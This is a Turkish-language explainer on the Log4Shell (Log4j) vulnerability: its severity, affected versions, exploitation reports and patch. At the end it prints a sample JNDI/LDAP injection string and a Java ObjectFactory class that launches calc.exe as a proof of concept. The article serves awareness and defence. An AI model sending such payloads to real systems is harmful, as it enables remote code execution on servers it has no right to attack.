Log4Shell olarak da bilinen Log4J güvenlik zafiyeti, dünyanın en popüler uygulama ve hizmetlerini saldırıya açık hale getiriyor. Log4J güvenlik açığı 9 Aralik Perşembe günü gündeme geldi ve birçok endişeye neden oldu. Cisco ve Cloudflare araştırmacılarına göre, bilgisayar korsanları ayın başından beri Log4J güvenlik zafiyetini kullanıyor. Ancak Apache’nin Perşembe günü yaptığı açıklamanın ardından saldırılar çarpıcı bir şekilde arttı. Microsoft’un yakın tarihli bir raporuna göre, saldırganlar şimdiye kadar güvenlik açığı bulunan sistemlere fidye virüsü (Ransomware) saldırıları gerçekleştirmek, sistemlere ait kritik bilgilerini çalmak vb siber saldırılar gerçekleştirmek için bu açıktan yararlandı .

Etki aralığı, güvenlik açığının kendisinin doğası gereği çok geniştir. Geliştiriciler, belirli bir uygulamada neler olduğunu takip etmek için log kayıtlarını kullanır. Log4Shell’den yararlanmak için bir saldırganın yalnızca sistemin stratejik olarak hazırlanmış bir kod dizisini loga kaydetmesini sağlaması gerekir. Oradan hedeflenen sunucuya rastgele kod yükleyebilir, kötü amaçlı yazılım yükleyebilir veya başka saldırılar başlatabilirler.

Log4j Güvenlik Açığı Hakkında Bilmeniz Gerekenler:

CVSS: 10 (KRİTİK)

Etkilenen Sürümler: Apache Log4j2 2.14.1 ve altı

Log4shell olarak da bilinen Apache’nin Log4j güvenlik güncellemesi , kütüphanenin 2.14.1 ve altındaki sürümlerinde, yapılandırmada, loglarda ve parametrelerde kullanılan JNDI özelliklerinin saldırgan kontrollü LDAP ve diğer JNDI ile ilgili uç noktalara karşı koruma sağlamadığını gün yüzüne çıkardı.

Bu, logları veya log parametreleri üzerinde yetki sahibi olan saldırganların, log arama değiştirme etkinleştirildiğinde LDAP sunucularından yüklenen rastgele kodu yürütmesine olanak tanır. Keşfedilmesinden bu yana, Apache bu sorunu hızla düzeltti ve bu davranışın varsayılan olarak devre dışı bırakıldığı log4j sürüm 2.15.0’i yayınladı.

Bu sorun özellikle, bu açık kaynak kütüphanenin ne kadar yaygın olarak kullanıldığı ve hata mesajlarını günlüğe kaydetmek için milyonlarca Java uygulamasını desteklediği için önemlidir. Symantec’e göre, açıktan yararlanma girişimleri zaten tespit edildi, açıklardan yararlanma kodu herkese açık olarak paylaşılıyor ve birden çok saldırgan zaten bundan yararlanmaya çalışıyor.

Birkaç gün öncesine kadar çoğu insan Log4j hakkında hiçbir bilgiye sahip değildi. Ancak bu az bilinen modül, diğer büyük yazılımlar tarafından yaygın olarak kullanılmaktadır; bu, birçok farklı ve bazen beklenmedik ürün ve lokasyonlarda bulunduğu anlamına gelir. Aslında, ilk alarm zillerinden bazıları, kullanıcılarının Minecraft sunucularının güvenliği ihlal edildikten sonra İsveçli çevrimiçi oyun geliştiricisi Mojang Studios tarafından gündeme getirildi.

Apache Log4j, Apache Logging Projesinin bir parçasıdır. Genel olarak, bu kütüphanenin kullanımı, hataları günlüğe kaydetmenin en kolay yollarından biridir ve bu nedenle çoğu Java geliştiricisi onu kullanır. Amazon, Apple iCloud, Google Cloud, Cisco, Cloudflare, ElasticSearch, Red Hat, Steam, Tesla, Twitter, IBM, Atlassian, Microsoft Azure, Commvault, ESRI, Exact, Fortinet, JetBrains, Nelson, Nutanix, OpenMRS, Oracle, Splunk, VMware ve çok daha fazlası dahil olmak üzere birçok büyük yazılım şirketi ve çevrimiçi hizmet Log4j kutuphanesini kullanıyor. Kütüphanenin bu kadar popüler olması nedeniyle, bazı bilgi güvenliği araştırmacıları, önümüzdeki günlerde savunmasız sunuculara yönelik saldırılarda önemli bir artış beklemektedir.

Güvenlik açığı, gösterildiği gibi kötü amaçlı yazılımın yüklenmesini tetikleyen Log4j yazılımına belirli bir JNDI dizesi gönderilerek tetiklenir.

Sonuç olarak, bu sorundan yararlanmanın basit olması ve bu yazılımın yaygın olarak kullanılması, birden fazla saldırı vektörü olduğu anlamına geliyor ve önümüzdeki aylarda daha fazlasının ortaya çıkmasını bekliyoruz. Bu güvenlik açığının tetiklenebileceği göreceli kolaylık nedeniyle, FortiGuard Labs, tespit edilen saldırıların hızla arttığını zaten görüyor.

Odak noktası Kuzey Amerika ve Brezilya olmakla birlikte, ülkemiz saldırı alan ülkelerin başında yer alıyor.

Log4j Exploit Neye benziyor?

Aşağıdaki GIF’de, kullanıcı tarafından kontrol edilen verileri logamak için log4j’yi kullanmaya çalışan örnek bir uygulama görebilirsiniz. Güvenlik açığı bulunan uygulamaya JNDI API aracılığıyla saldırgan kontrollü bir LDAP sunucusuna bağlanması talimatını verir :

${jndi:ldap://127.0.0.1:1389/o=reference}

Ardından LDAP sunucusu kötü amaçlı bir yazılıma hizmet edecek;

public class ExportObject implements javax.naming.spi.ObjectFactory { public ExportObject() { Runtime.getRuntime().exec(“c:\windows\system32\calc.exe”); } }

” calc.exe “ye komut göndererek hesap makinesi uygulaması tetikleniyor: